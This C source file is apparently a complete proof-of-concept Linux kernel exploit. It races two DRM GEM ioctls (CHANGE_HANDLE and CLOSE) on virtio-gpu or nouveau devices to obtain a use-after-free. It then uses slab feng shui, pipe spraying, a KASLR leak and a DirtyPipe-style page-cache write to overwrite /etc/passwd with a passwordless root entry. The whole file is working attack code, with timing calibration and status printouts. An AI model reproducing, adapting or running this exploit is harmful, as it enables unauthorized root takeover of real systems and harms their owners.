/* * DRM GEM UAF exploit - race in DRM_IOCTL_GEM_CHANGE_HANDLE (0xD2) * * Chain: UAF -> pipe spray reclaim -> KASLR bypass -> DirtyPipe fix bypass * -> page cache overwrite of /etc/passwd * * gcc -o poc poc.c -lpthread -static */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include /* DRM ioctl definitions */ #define DRM_IOCTL_BASE 'd' struct drm_gem_close { uint32_t handle; uint32_t pad; }; #define DRM_IOCTL_GEM_CLOSE _IOW(DRM_IOCTL_BASE, 0x09, struct drm_gem_close) struct drm_gem_flink { uint32_t handle; uint32_t name; }; #define DRM_IOCTL_GEM_FLINK _IOWR(DRM_IOCTL_BASE, 0x0a, struct drm_gem_flink) struct drm_gem_change_handle { uint32_t handle; uint32_t new_handle; }; #define DRM_IOCTL_GEM_CHANGE_HANDLE _IOWR(DRM_IOCTL_BASE, 0xD2, struct drm_gem_change_handle) struct drm_mode_create_dumb { uint32_t height; uint32_t width; uint32_t bpp; uint32_t flags; uint32_t handle; uint32_t pitch; uint64_t size; }; #define DRM_IOCTL_MODE_CREATE_DUMB _IOWR(DRM_IOCTL_BASE, 0xB2, struct drm_mode_create_dumb) /* Driver detection */ struct drm_version { int version_major; int version_minor; int version_patchlevel; size_t name_len; char *name; size_t date_len; char *date; size_t desc_len; char *desc; }; #define DRM_IOCTL_VERSION _IOWR(DRM_IOCTL_BASE, 0x00, struct drm_version) /* virtio-gpu: RESOURCE_INFO returns obj->size at gem offset 216 */ struct drm_virtgpu_resource_info { uint32_t bo_handle; uint32_t res_handle; uint32_t size; uint32_t blob_mem; }; #define DRM_COMMAND_BASE 0x40 #define DRM_VIRTGPU_RESOURCE_INFO 0x05 #define DRM_IOCTL_VIRTGPU_RESOURCE_INFO \ _IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE + DRM_VIRTGPU_RESOURCE_INFO, \ struct drm_virtgpu_resource_info) /* nouveau: GEM_INFO returns obj->size at gem offset 216 (same overlap) */ struct drm_nouveau_gem_info { uint32_t handle; uint32_t domain; uint64_t size; uint64_t offset; uint64_t map_handle; uint32_t tile_mode; uint32_t tile_flags; }; #define DRM_NOUVEAU_GEM_INFO 0x43 #define DRM_IOCTL_NOUVEAU_GEM_INFO \ _IOWR(DRM_IOCTL_BASE, DRM_NOUVEAU_GEM_INFO, struct drm_nouveau_gem_info) enum drm_driver_type { DRV_UNKNOWN = 0, DRV_VIRTIO_GPU, DRV_NOUVEAU, }; static enum drm_driver_type g_driver; /* * Struct offsets - stable across 6.19 through 7.0-rc7. * Defaults verified via pahole. Override with -D flags for other kernels. */ #ifndef GEM_SIZE_OFF #define GEM_SIZE_OFF 216 #define GEM_NAME_OFF 224 #define GEM_FUNCS_OFF 352 #define PIPEBUF_OPS_OFF 16 #define PIPEBUF_FLAGS_OFF 24 #define PIPEBUF_SIZE_ACTUAL 40 #define OVERLAP_IDX 5 #define PIPE_SLOTS 8 #define FILL_COUNT 5 #endif #define SPRAY_PIPES 2048 #define PIPE_BUFS_COUNT PIPE_SLOTS #define PIPE_FILL_PAGES FILL_COUNT #define FLINK_PREALLOC 15 #define TARGET_FILE "/etc/passwd" /* Race state */ static int g_fd; static uint32_t g_handle; static uint32_t g_new_handle; static volatile int g_go; static int g_change_ret; static int g_close_ret; /* Adaptive timing */ static int64_t g_stagger_ns; static volatile int g_delay_who; static inline uint64_t now_ns(void) { struct timespec ts; clock_gettime(CLOCK_MONOTONIC, &ts); return (uint64_t)ts.tv_sec * 1000000000ULL + ts.tv_nsec; } static inline void spin_ns(int64_t ns) { if (ns <= 0) return; uint64_t target = now_ns() + ns; while (now_ns() < target) __asm__ volatile("pause" ::: "memory"); } static void *thread_change_handle(void *arg) { struct drm_gem_change_handle ch = { .handle = g_handle, .new_handle = g_new_handle, }; while (!g_go) __asm__ volatile("pause" ::: "memory"); if (g_delay_who == 1) spin_ns(g_stagger_ns); g_change_ret = ioctl(g_fd, DRM_IOCTL_GEM_CHANGE_HANDLE, &ch); if (g_change_ret == 0) *(uint32_t *)arg = ch.new_handle; else *(uint32_t *)arg = 0; return NULL; } static void *thread_close_handle(void *arg) { struct drm_gem_close cl = { .handle = g_handle }; (void)arg; while (!g_go) __asm__ volatile("pause" ::: "memory"); if (g_delay_who == 0) spin_ns(g_stagger_ns); g_close_ret = ioctl(g_fd, DRM_IOCTL_GEM_CLOSE, &cl); return NULL; } static uint32_t create_gem_bo(int fd); /* * Calibrate race timing: measure solo ioctl latencies, compute stagger * to make both threads hit table_lock simultaneously. */ #define CALIB_ITERS 200 static void calibrate_race_timing(void) { uint64_t t_change = 0, t_close = 0; for (int i = 0; i < CALIB_ITERS; i++) { uint32_t h = create_gem_bo(g_fd); if (!h) continue; uint64_t t0 = now_ns(); struct drm_gem_change_handle ch = { .handle = h, .new_handle = 0xF0000 + i }; ioctl(g_fd, DRM_IOCTL_GEM_CHANGE_HANDLE, &ch); uint64_t t1 = now_ns(); t_change += (t1 - t0); t0 = now_ns(); struct drm_gem_close cl = { .handle = 0xF0000 + i }; ioctl(g_fd, DRM_IOCTL_GEM_CLOSE, &cl); t1 = now_ns(); t_close += (t1 - t0); } int64_t avg_change = t_change / CALIB_ITERS; int64_t avg_close = t_close / CALIB_ITERS; int64_t delta = avg_change - avg_close; if (delta > 0) { g_delay_who = 0; g_stagger_ns = delta / 2; } else { g_delay_who = 1; g_stagger_ns = (-delta) / 2; } printf("[*] Calibration: change=%ldns close=%ldns delta=%ldns\n", (long)avg_change, (long)avg_close, (long)delta); printf("[*] delay %s by %ldns (+/-jitter)\n", g_delay_who ? "change" : "close", (long)g_stagger_ns); } static int open_drm_device(void) { DIR *dir = opendir("/dev/dri"); struct dirent *ent; char path[512], name[64]; int fd; if (!dir) return -1; while ((ent = readdir(dir)) != NULL) { if (strncmp(ent->d_name, "card", 4) == 0) { snprintf(path, sizeof(path), "/dev/dri/%s", ent->d_name); fd = open(path, O_RDWR); if (fd < 0) continue; memset(name, 0, sizeof(name)); struct drm_version ver = { .name_len = sizeof(name) - 1, .name = name, }; if (ioctl(fd, DRM_IOCTL_VERSION, &ver) == 0) { if (strstr(name, "virtio")) g_driver = DRV_VIRTIO_GPU; else if (strstr(name, "nouveau")) g_driver = DRV_NOUVEAU; else { printf("[-] Unsupported driver: %s\n", name); printf("[-] Supported: virtio_gpu, nouveau\n"); close(fd); continue; } printf("[*] Driver: %s\n", name); } closedir(dir); return fd; } } closedir(dir); return -1; } static uint32_t create_gem_bo(int fd) { struct drm_mode_create_dumb c = { .width=64, .height=64, .bpp=32 }; return ioctl(fd, DRM_IOCTL_MODE_CREATE_DUMB, &c) < 0 ? 0 : c.handle; } /* Pipe spray */ static int pipe_fds[SPRAY_PIPES][2]; static int pipe_count; static void create_target_file(void) { int fd = open(TARGET_FILE, O_WRONLY | O_CREAT | O_TRUNC, 0644); if (fd < 0) { perror("create target file"); return; } char page[4096]; memset(page, 0, sizeof(page)); snprintf(page, sizeof(page), "root:x:0:0:root:/root:/bin/sh\n" "daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n" "nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n" "user:x:1000:1000:unprivileged:/home/user:/bin/sh\n"); int len = strlen(page); for (int i = len; i < 4096; i++) page[i] = '\n'; write(fd, page, sizeof(page)); close(fd); } static int do_pipe_spray_with_splice(void) { char page_buf[4096]; memset(page_buf, 'A', sizeof(page_buf)); int target_fd = open(TARGET_FILE, O_RDONLY); if (target_fd < 0) { perror("open target"); return 0; } pipe_count = 0; for (int i = 0; i < SPRAY_PIPES; i++) { int pfd[2]; if (pipe(pfd) < 0) break; int sz = fcntl(pfd[1], 1031 /* F_SETPIPE_SZ */, PIPE_BUFS_COUNT * 4096); if (sz < 0) { close(pfd[0]); close(pfd[1]); continue; } for (int j = 0; j < PIPE_FILL_PAGES; j++) write(pfd[1], page_buf, sizeof(page_buf)); loff_t off = 0; ssize_t n = splice(target_fd, &off, pfd[1], NULL, 1, 0); if (n != 1) { close(pfd[0]); close(pfd[1]); continue; } pipe_fds[pipe_count][0] = pfd[0]; pipe_fds[pipe_count][1] = pfd[1]; pipe_count++; } close(target_fd); return pipe_count; } static void free_pipe_spray(void) { for (int i = 0; i < pipe_count; i++) { close(pipe_fds[i][0]); close(pipe_fds[i][1]); } pipe_count = 0; } /* Adaptive race statistics */ static int race_change_won, race_close_won, race_both_ok, race_both_fail; static uint32_t try_race_once(int iter) { pthread_t t1, t2; uint32_t nh = 0; g_handle = create_gem_bo(g_fd); if (!g_handle) return 0; g_new_handle = 0x20000 + iter; g_go = 0; g_change_ret = g_close_ret = -1; /* Jitter stagger +/-25% to sweep the race window */ int64_t base = g_stagger_ns; int64_t jitter = base / 4; if (jitter > 0) g_stagger_ns = base + (rand() % (2 * jitter + 1)) - jitter; __asm__ volatile("" ::: "memory"); pthread_create(&t1, NULL, thread_change_handle, &nh); pthread_create(&t2, NULL, thread_close_handle, NULL); usleep(50); g_go = 1; __asm__ volatile("" ::: "memory"); pthread_join(t1, NULL); pthread_join(t2, NULL); g_stagger_ns = base; if (g_change_ret == 0 && g_close_ret == 0) race_both_ok++; else if (g_change_ret == 0) race_change_won++; else if (g_close_ret == 0) race_close_won++; else race_both_fail++; /* Adaptive feedback: shift stagger toward balance */ if (iter > 0 && (iter % 500) == 0) { int total = race_change_won + race_close_won + race_both_ok + race_both_fail; if (total > 0) { int close_pct = (race_close_won * 100) / total; int change_pct = (race_change_won * 100) / total; if (close_pct > 80) { if (g_delay_who == 0) g_stagger_ns += 50; else g_stagger_ns = (g_stagger_ns > 50) ? g_stagger_ns - 50 : 0; } else if (change_pct > 80) { if (g_delay_who == 1) g_stagger_ns += 50; else g_stagger_ns = (g_stagger_ns > 50) ? g_stagger_ns - 50 : 0; } if (g_stagger_ns == 0 && (close_pct > 90 || change_pct > 90)) { g_delay_who ^= 1; g_stagger_ns = 100; } } if (iter % 2000 == 0) { printf("[*] iter=%d stagger=%ldns delay_%s " "stats: change=%d close=%d both=%d fail=%d\n", iter, (long)g_stagger_ns, g_delay_who ? "change" : "close", race_change_won, race_close_won, race_both_ok, race_both_fail); } race_change_won = race_close_won = race_both_ok = race_both_fail = 0; } if (g_change_ret == 0 && g_close_ret == 0 && nh) return nh; if (g_change_ret == 0 && nh) { struct drm_gem_close cl = { .handle = nh }; ioctl(g_fd, DRM_IOCTL_GEM_CLOSE, &cl); } else if (g_change_ret != 0 && g_close_ret != 0) { struct drm_gem_close cl = { .handle = g_handle }; ioctl(g_fd, DRM_IOCTL_GEM_CLOSE, &cl); } return 0; } struct exploit_result { uint32_t leaked32; uint64_t kernel_base; int file_modified; }; /* Slab feng shui: drain kmalloc-512 via msg_msg spray */ #define FENGSHUI_SPRAY 512 #define FENGSHUI_MSGSIZE 464 struct msgbuf_512 { long mtype; char mtext[FENGSHUI_MSGSIZE]; }; static int fengshui_qid = -1; static int fengshui_count; static void do_slab_fengshui(void) { struct msgbuf_512 msg; memset(&msg, 0x41, sizeof(msg)); msg.mtype = 1; fengshui_qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT); if (fengshui_qid < 0) { perror("msgget"); return; } fengshui_count = 0; for (int i = 0; i < FENGSHUI_SPRAY; i++) { msg.mtype = i + 1; if (msgsnd(fengshui_qid, &msg, FENGSHUI_MSGSIZE, IPC_NOWAIT) < 0) break; fengshui_count++; } /* Free 8 to leave headroom - LIFO guarantees reclamation */ for (int i = 0; i < 8; i++) msgrcv(fengshui_qid, &msg, FENGSHUI_MSGSIZE, fengshui_count - i, IPC_NOWAIT); } static void cleanup_fengshui(void) { if (fengshui_qid >= 0) msgctl(fengshui_qid, IPC_RMID, NULL); fengshui_qid = -1; } static void spawn_safe_shell(void) { /* Fork so child keeps g_fd open; parent exits cleanly */ pid_t p = fork(); if (p == 0) { for (;;) pause(); } if (g_fd >= 0) { close(g_fd); g_fd = -1; } _exit(0); for (;;) pause(); } static void do_exploit(void) { uint32_t dangling = 0; int race_iter = 0; struct exploit_result res = { 0 }; uint32_t flink_handles[FLINK_PREALLOC]; struct rlimit rl = { .rlim_cur = 65536, .rlim_max = 65536 }; setrlimit(RLIMIT_NOFILE, &rl); g_fd = open_drm_device(); if (g_fd < 0) { fprintf(stderr, "[-] No DRM device\n"); return; } printf("[*] DRM fd=%d\n", g_fd); srand(now_ns() & 0xFFFFFFFF); calibrate_race_timing(); if (access(TARGET_FILE, F_OK) != 0) { create_target_file(); printf("[*] Created %s\n", TARGET_FILE); } else { printf("[*] Target: %s\n", TARGET_FILE); } do_slab_fengshui(); printf("[*] Feng shui: %d msg_msg -> kmalloc-512\n", fengshui_count); for (int round = 0; round < 200; round++) { /* Phase 1: Race for dangling handle */ if (!dangling) { printf("[*] Phase 1: Racing...\n"); for (; race_iter < 5000000; race_iter++) { dangling = try_race_once(race_iter); if (dangling) break; if (race_iter > 0 && (race_iter % 2000) == 0) printf("[*] attempt %d...\n", race_iter); } if (!dangling) { fprintf(stderr, "[-] Race failed after %d attempts\n", race_iter); return; } printf("[!] Race won (iter %d): handle=%u\n", race_iter++, dangling); usleep(50000); } /* Phase 2: Pipe spray + splice */ printf("[*] Phase 2: Pipe spray...\n"); int total = do_pipe_spray_with_splice(); printf("[*] %d pipes\n", total); /* Phase 3: KASLR bypass - read pipe_buf_ops through type confusion */ printf("[*] Phase 3: KASLR bypass...\n"); uint32_t leaked32 = 0; int leak_ok = 0; if (g_driver == DRV_VIRTIO_GPU) { struct drm_virtgpu_resource_info ri = { .bo_handle = dangling }; if (ioctl(g_fd, DRM_IOCTL_VIRTGPU_RESOURCE_INFO, &ri) == 0) { leaked32 = ri.size; leak_ok = 1; } } else if (g_driver == DRV_NOUVEAU) { struct drm_nouveau_gem_info ni = { .handle = dangling }; if (ioctl(g_fd, DRM_IOCTL_NOUVEAU_GEM_INFO, &ni) == 0) { leaked32 = (uint32_t)ni.size; leak_ok = 1; } } if (!leak_ok) { printf("[-] Info ioctl failed, re-racing\n"); free_pipe_spray(); dangling = 0; continue; } printf("[*] leaked = 0x%08x\n", leaked32); if (!(leaked32 >= 0x81000000 && leaked32 < 0xc0000000)) { printf("[*] Not kernel text, re-racing...\n"); free_pipe_spray(); dangling = 0; continue; } uint64_t leaked_ops = 0xffffffff00000000ULL | (uint64_t)leaked32; res.leaked32 = leaked32; printf("[!] KASLR: pipe_buf_ops = 0x%016lx\n", (unsigned long)leaked_ops); /* Phase 4: FLINK pre-alloc IDs 1-15, then FLINK dangling -> ID 16 = CAN_MERGE */ printf("[*] Phase 4: FLINK...\n"); for (int i = 0; i < FLINK_PREALLOC; i++) { flink_handles[i] = create_gem_bo(g_fd); if (!flink_handles[i]) break; struct drm_gem_flink fl = { .handle = flink_handles[i] }; ioctl(g_fd, DRM_IOCTL_GEM_FLINK, &fl); } struct drm_gem_flink fl = { .handle = dangling }; if (ioctl(g_fd, DRM_IOCTL_GEM_FLINK, &fl) < 0) { printf("[-] FLINK failed: %s\n", strerror(errno)); for (int i = 0; i < FLINK_PREALLOC; i++) { if (flink_handles[i]) { struct drm_gem_close cl = { .handle = flink_handles[i] }; ioctl(g_fd, DRM_IOCTL_GEM_CLOSE, &cl); } } free_pipe_spray(); continue; } printf("[!] FLINK dangling: name=%u (0x%x)\n", fl.name, fl.name); /* Phase 5: Write to pipes - one merges into file page cache */ printf("[*] Phase 5: Writing pipes...\n"); const char payload[] = "oot::0:0:pwned:/root:/bin/sh\n" "# DRM GEM UAF + DirtyPipe bypass\n"; int wrote = 0; for (int i = 0; i < pipe_count; i++) { ssize_t n = write(pipe_fds[i][1], payload, sizeof(payload) - 1); if (n > 0) wrote++; } printf("[*] %d/%d pipes written\n", wrote, pipe_count); /* Phase 6: Verify */ int fd = open(TARGET_FILE, O_RDONLY); char buf[4096] = {0}; if (fd >= 0) { read(fd, buf, sizeof(buf) - 1); close(fd); } if (!strstr(buf, "pwned")) { printf("[*] Not modified this round\n"); for (int i = 0; i < FLINK_PREALLOC; i++) { if (flink_handles[i]) { struct drm_gem_close cl = { .handle = flink_handles[i] }; ioctl(g_fd, DRM_IOCTL_GEM_CLOSE, &cl); } } free_pipe_spray(); continue; } res.file_modified = 1; cleanup_fengshui(); printf("\n[!] EXPLOIT SUCCESSFUL\n"); printf("[!] %s overwritten - passwordless root\n", TARGET_FILE); printf("[!] KASLR: 0x%016llx\n", (unsigned long long)(0xffffffff00000000ULL | (uint64_t)res.leaked32)); printf("[!] FLINK: %u = 0x%x\n", fl.name, fl.name); printf("[*] %s:\n", TARGET_FILE); printf(" %.200s\n", buf); spawn_safe_shell(); } cleanup_fengshui(); printf("\n[-] Failed after 200 rounds.\n"); if (dangling) spawn_safe_shell(); } int main(void) { printf("DRM GEM UAF - DirtyPipe Fix Bypass\n"); printf("Offsets: gem.size=%d gem.name=%d pipe_buf=%d\n", GEM_SIZE_OFF, GEM_NAME_OFF, PIPEBUF_SIZE_ACTUAL); printf("Overlap: buf[%d].ops@%d buf[%d].flags@%d\n\n", OVERLAP_IDX, OVERLAP_IDX * PIPEBUF_SIZE_ACTUAL + PIPEBUF_OPS_OFF, OVERLAP_IDX, OVERLAP_IDX * PIPEBUF_SIZE_ACTUAL + PIPEBUF_FLAGS_OFF); do_exploit(); return 1; }